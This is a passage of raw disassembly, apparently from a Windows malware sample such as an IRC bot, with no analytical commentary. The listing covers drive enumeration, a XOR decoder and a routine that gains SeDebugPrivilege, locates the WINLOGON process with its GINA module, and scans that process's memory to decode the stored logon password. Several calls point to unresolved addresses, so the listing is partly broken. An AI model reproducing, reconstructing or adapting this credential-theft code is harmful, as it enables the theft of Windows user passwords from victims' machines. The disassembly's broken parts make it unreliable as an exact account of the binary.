fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_4376DC push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4167F5: ; CODE XREF: ___:004167D3j lea eax, [ebp-510h] push eax call sub_4151AC push 10h lea eax, [ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_43D158 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 2650BA1h cmp eax, edi jnz short loc_416877 call dword_4CAEFC call sub_418359 push esi nop call near ptr 77E75CB5h loc_416877: ; CODE XREF: ___:00416863j lea eax, [ebp-148h] push eax push offset unk_4376A8 jmp short loc_416891 ; --------------------------------------------------------------------------- loc_416885: ; CODE XREF: ___:0041643Ej lea eax, [ebp-248h] push eax push offset unk_43767C loc_416891: ; CODE XREF: ___:00416883j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4168C5: ; CODE XREF: ___:004168A3j lea eax, [ebp-510h] push eax call sub_4151AC pop ecx loc_4168D2: ; CODE XREF: ___:00416695j ; ___:0041671Ej ... push dword ptr [ebp-18h] call dword_4CAFD8 push dword ptr [ebp-48h] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h ; =============== S U B R O U T I N E ======================================= sub_4168EB proc near ; CODE XREF: ___:00416517p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416907 loc_4168F7: ; CODE XREF: sub_4168EB+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F7 locret_416907: ; CODE XREF: sub_4168EB+Aj retn sub_4168EB endp ; =============== S U B R O U T I N E ======================================= sub_416908 proc near ; CODE XREF: sub_401ACD+5841p ; sub_401ACD+5969p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416922 proc near ; CODE XREF: sub_40F96A+458p ; sub_40F96A+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D2BD8 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416947: ; CODE XREF: sub_416922+5Bj ; sub_416922+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416985 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416947 mov byte ptr [esi], 2Ch inc esi jmp short loc_416947 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416922+4Bj dec esi mov eax, edi loc_416988: ; CODE XREF: sub_416922+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416997 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416988 ; --------------------------------------------------------------------------- loc_416997: ; CODE XREF: sub_416922+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416922 endp ; =============== S U B R O U T I N E ======================================= sub_4169A1 proc near ; CODE XREF: sub_416B56+51p ; sub_416B56+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CB004 sub eax, 0 jz short loc_4169E4 dec eax jz short loc_4169DE dec eax dec eax jz short loc_4169D8 dec eax jz short loc_4169D2 dec eax jz short loc_4169CC dec eax jz short loc_4169C6 mov eax, offset word_43786C retn ; --------------------------------------------------------------------------- loc_4169C6: ; CODE XREF: sub_4169A1+1Dj mov eax, offset off_437868 retn ; --------------------------------------------------------------------------- loc_4169CC: ; CODE XREF: sub_4169A1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_4169A1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D8: ; CODE XREF: sub_4169A1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DE: ; CODE XREF: sub_4169A1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E4: ; CODE XREF: sub_4169A1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EA proc near ; CODE XREF: sub_416A32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CAE94 test eax, eax jz short loc_416A1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A1F: ; CODE XREF: sub_4169EA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A32 proc near ; CODE XREF: sub_416B56+17p ; sub_41AA42+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B10 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416922 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B42 ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416A32+2Cj ; sub_416A32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B42: ; CODE XREF: sub_416A32+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B56 proc near ; CODE XREF: sub_416C28+17p ; sub_416C28+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BC9 push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_4378BC lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BC9: ; CODE XREF: sub_416B56+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437880 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFD: ; CODE XREF: sub_416B56+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_500] push eax call sub_4151AC add esp, 18h pop edi pop esi pop ebx leave retn sub_416B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C49 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416C28+9j push esi push edi push ebx push ebx call dword_4CAF0C lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CAF0C cmp [edi], bl mov esi, edi jz short loc_416CA1 loc_416C6D: ; CODE XREF: sub_416C28+77j push offset aA_1 ; "A:\\" push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C90 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h loc_416C90: ; CODE XREF: sub_416C28+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6D loc_416CA1: ; CODE XREF: sub_416C28+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAA: ; CODE XREF: sub_416C28+1Fj pop ebx pop ebp retn sub_416C28 endp ; --------------------------------------------------------------------------- byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h dd 791C6850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h dd 8D5018C4h, 0FFFB6485h, 78FC68FFh, 0E8500043h, 4B06h dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h dd 90535959h, 2B923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 6068FFFFh dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h dd 93ECBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 34917FE8h, 75C08502h dd 0FC75FF8Fh, 9172E890h, 75FF0232h, 0B8858D14h, 0FFFFFFFDh dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 437944h dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h dd 50FFFFFEh, 0F9E89056h, 85023490h, 56B175C0h, 3290EFE8h dd 458B9002h, 5B5E5F1Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F4 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F59 cmp eax, 2 jz short loc_416F59 push offset unk_437B38 jmp loc_417098 ; --------------------------------------------------------------------------- loc_416F59: ; CODE XREF: sub_416F1A+2Ej ; sub_416F1A+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx test eax, eax pop ecx jz loc_417093 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 2690C6Fh mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D3E1C, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D3E10, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D4020, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D3E18, eax call esi mov dword_4D3E14, eax call sub_4170EC test eax, eax mov [ebp+arg_0], eax jz loc_417066 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D2E10 push edi push ebx push offset off_437A74 call esi push edi mov edi, offset dword_4D3610 push edi push offset off_437A5C call esi cmp [ebp+var_4], 1 push offset dword_4D4028 push [ebp+arg_0] jnz short loc_417012 call sub_417275 jmp short loc_417017 ; --------------------------------------------------------------------------- loc_417012: ; CODE XREF: sub_416F1A+EFj call sub_41741C loc_417017: ; CODE XREF: sub_416F1A+F6j pop ecx test eax, eax pop ecx jz short loc_41705F cmp dword_4D4028, 0 jnz short loc_417046 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_437A00 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_417079 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F1A+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417056 call sub_417552 jmp short loc_41705B ; --------------------------------------------------------------------------- loc_417056: ; CODE XREF: sub_416F1A+133j call sub_4175E9 loc_41705B: ; CODE XREF: sub_416F1A+13Aj pop ecx push eax jmp short loc_41706B ; --------------------------------------------------------------------------- loc_41705F: ; CODE XREF: sub_416F1A+101j push offset unk_4379C8 jmp short loc_41706B ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_416F1A+B6j push offset unk_43799C loc_41706B: ; CODE XREF: sub_416F1A+143j ; sub_416F1A+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_417079: ; CODE XREF: sub_416F1A+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push [ebp+var_8] call near ptr 2790000h nop pop ebx jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417093: ; CODE XREF: sub_416F1A+4Ej push offset unk_437968 loc_417098: ; CODE XREF: sub_416F1A+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A6: ; CODE XREF: sub_416F1A+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CD push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A72 add esp, 14h loc_4170CD: ; CODE XREF: sub_416F1A+191j lea eax, [ebp+var_29C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26D0000h pop edi pop esi sub_416F1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D3E1C push ebp push 0 call esi push eax call near ptr 27A0000h nop push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D3E1C test eax, eax jnz short loc_4171D9 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171D9 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171D9 loc_417175: ; CODE XREF: sub_4170EC+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CC push 0 push 0 call dword_4D3E10 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D4020 test eax, eax jnz short loc_4171BD mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F1 loc_4171BD: ; CODE XREF: sub_4170EC+AAj test edi, edi jz short loc_4171C8 push edi call dword_4D3E18 loc_4171C8: ; CODE XREF: sub_4170EC+D3j mov eax, [esp+28h+var_10] loc_4171CC: ; CODE XREF: sub_4170EC+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417175 loc_4171D9: ; CODE XREF: sub_4170EC+6Dj ; sub_4170EC+7Aj ... xor edi, edi loc_4171DB: ; CODE XREF: sub_4170EC+17Dj push ebp push 0 call esi push eax nop call near ptr 27A0000h mov eax, edi loc_4171E9: ; CODE XREF: sub_4170EC+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F1: ; CODE XREF: sub_4170EC+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725A lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417207: ; CODE XREF: sub_4170EC+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726E push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724C mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724C: ; CODE XREF: sub_4170EC+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417207 loc_41725A: ; CODE XREF: sub_4170EC+10Fj test edi, edi jz short loc_417265 push edi call dword_4D3E18 loc_417265: ; CODE XREF: sub_4170EC+170j mov edi, [esp+28h+var_4] jmp loc_4171DB ; --------------------------------------------------------------------------- loc_41726E: ; CODE XREF: sub_4170EC+13Cj xor eax, eax jmp loc_4171E9 sub_4170EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417275 proc near ; CODE XREF: sub_416F1A+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call near ptr 26702E7h nop cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729E xor eax, eax jmp loc_417419 ; --------------------------------------------------------------------------- loc_41729E: ; CODE XREF: sub_417275+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27C0000h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EE xor esi, esi jmp loc_41740C ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_417275+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call near ptr 27B0A68h nop test eax, eax jz loc_4173FB mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FB test [ebp+var_2B], 1 jnz loc_4173FB push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FB loc_417351: ; CODE XREF: sub_417275+112j push edi push offset dword_4D2E10 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_417379 lea eax, [edi+200h] push eax push offset dword_4D3610 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417389 loc_417379: ; CODE XREF: sub_417275+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FB jmp short loc_417351 ; --------------------------------------------------------------------------- loc_417389: ; CODE XREF: sub_417275+102j test edi, edi jz short loc_4173FB lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2750000h test eax, eax jz short loc_4173C4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2740831h test eax, eax jz short loc_4173C4 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C4: ; CODE XREF: sub_417275+12Bj ; sub_417275+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4034, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D402C, eax mov dword_4D4030, edi loc_4173FB: ; CODE XREF: sub_417275+90j ; sub_417275+A2j ... push [ebp+arg_0] push 0 call esi push eax call near ptr 27A0000h nop mov esi, [ebp+var_10] loc_41740C: ; CODE XREF: sub_417275+74j push [ebp+var_4] nop call near ptr 26508EFh pop edi mov eax, esi pop ebx loc_417419: ; CODE XREF: sub_417275+24j pop esi leave retn sub_417275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 26702E7h test eax, eax mov [ebp+arg_0], eax jz loc_41750E mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 27C0000h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417505 mov edi, dword_427148 loc_417467: ; CODE XREF: sub_41741C+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call near ptr 27B0A68h nop test eax, eax jz short loc_4174F3 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174F9 test [ebp+var_13], 1 jnz short loc_4174F9 push ecx push 8 call edi push eax call near ptr 27B0000h nop mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 27B0D0Ah nop test eax, eax jz short loc_4174E5 push offset dword_4D2E10 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E5 lea eax, [esi+400h] push offset dword_4D3610 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417515 loc_4174E5: ; CODE XREF: sub_41741C+9Fj ; sub_41741C+B0j push esi push 0 call edi push eax nop call near ptr 27A0000h jmp short loc_4174F9 ; --------------------------------------------------------------------------- loc_4174F3: ; CODE XREF: sub_41741C+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174F9: ; CODE XREF: sub_41741C+71j ; sub_41741C+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417467 loc_417505: ; CODE XREF: sub_41741C+3Fj push [ebp+arg_0] call near ptr 26508EFh nop loc_41750E: ; CODE XREF: sub_41741C+1Ej xor eax, eax loc_417510: ; CODE XREF: sub_41741C+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417515: ; CODE XREF: sub_41741C+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D402C, ebx mov dword_4D4030, eax cmp [eax], cl jnz short loc_417537 cmp [eax+1], cl jz short loc_41753F loc_417537: ; CODE XREF: sub_41741C+114j ; sub_41741C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417537 loc_41753F: ; CODE XREF: sub_41741C+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 26508EFh push 1 pop eax jmp short loc_417510 sub_41741C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417552 proc near ; CODE XREF: sub_416F1A+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D4028 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 27B0000h mov ecx, dword_4D4028 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4030 push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4034 push eax call dword_4D3E14 push [ebp+var_4] mov edi, offset dword_4D3E20 push offset dword_4D2E10 push offset dword_4D3610 push [ebp+arg_0] push offset dword_437B84 push 200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax call near ptr 27A0000h nop mov eax, edi pop edi pop esi leave retn sub_417552 endp 